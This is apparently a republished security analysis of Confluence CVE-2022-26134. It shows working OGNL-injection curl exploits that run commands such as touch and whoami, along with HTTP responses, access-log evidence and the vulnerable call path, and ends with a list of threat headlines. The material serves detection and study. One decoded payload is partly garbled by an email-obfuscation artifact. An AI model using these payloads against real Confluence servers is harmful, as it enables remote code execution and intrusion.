Active Exploitation of Confluence CVE-2022-26134

The vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:

curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:

${@java.lang.Runtime@getRuntime().exec(“touch /tmp/r7”)}
Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log..log contains the following entry after exploitation:

[02/Jun/2022:16:02:13 -0700] – http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms – – curl/7.68.0
Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of whoami in the attacker-created X-Cmd-Response HTTP field (credit to Rapid7’s Brandon Turner for the exploit below). Note the X-Cmd-Response: confluence line in the HTTP response:

curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
* Trying 10.0.0.28:8090…
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence
< Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Thu, 02 Jun 2022 23:28:23 GMT
<
* Connection #0 to host 10.0.0.28 left intact
Decoding the exploit in the curl request shows how this is achieved. The exploit saves the output of the exec call and uses setHeader to include the result in the server’s response to the attacker.

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Investigation led to the following partial call stack.

public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\$\{([^}]*)\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation.
At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability.

Sign Up For Threat Alerts

Loading...
Threats Icon

Jul 04, 2023

Rhysida Ransomware RaaS Crawls Out of Crimeware...

The Rhysida ransomware-as-a-service (RaaS) group has gone from a dubious newcomer to a fully-fledged ransomware...

Threats Icon

Jun 26, 2023

Operation Magalenha – Long-Running Campaign Pursues Portuguese...

The attackers can steal credentials and exfiltrate users' data and personal information, which can be...

Threats Icon

Apr 24, 2023

Lazarus Group Adds Linux Malware to Arsenal...

Researchers have discovered a new campaign conducted by Lazarus, known as "Operation DreamJob," which targets...

Threats Icon

Apr 23, 2023

Additional IOCs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed.

Threats Icon

Apr 23, 2023

Ex-Conti and FIN7 Actors Collaborate with New...

IBM Security X-Force recently discovered a new malware family Analysts have called "Domino," which Analysts...

Threats Icon

Apr 20, 2023

AuKill EDR killer malware abuses Process Explorer...

The AuKill tool abuses an outdated version of the driver used by version 16.32 of...

Threats Icon

Apr 20, 2023

Fake Chrome updates spread malware

A campaign running since the end of last year is using hacked sites to push...

Threats Icon

Apr 20, 2023

QBot using new attack vector in its...

QBot, also known as QakBot, previously operated as a banking trojan and has since transformed...

Threats Icon

Apr 20, 2023

CrossLock Ransomware Emerges: New Golang – Based...

The CrossLock ransomware employs the double extortion technique to increase the likelihood of payment from...

Threats Icon

Apr 20, 2023

Windows Zero-Day Vulnerability CVE-2023-28252 Exploited by Nokoyawa...

A zero-day vulnerability in the Microsoft Windows system, which also affects Windows 11, has been...

Threats Icon

Apr 18, 2023

Additional IOcs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed. As...

Threats Icon

Apr 18, 2023

Additional IOcs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed. As...

Threats Icon

Apr 18, 2023

APT36 Expands Interest Within Indian Education Sector

Symantec described UPS in 2016 report as Buckeye (also known as APT3 Gothic Panda UPS...

Threats Icon

Apr 17, 2023

ChinaZ DDoS Bot Malware Distributed To Linux...

The ChinaZ DDoS bot malware was discovered targeting Linux systems while a version for Microsoft...

Threats Icon

Apr 16, 2023

Resurgence Of The Mexals Cryptojacking Campaign

The Mexals crypto jacking campaign has been in operation since at least 2021 and continues...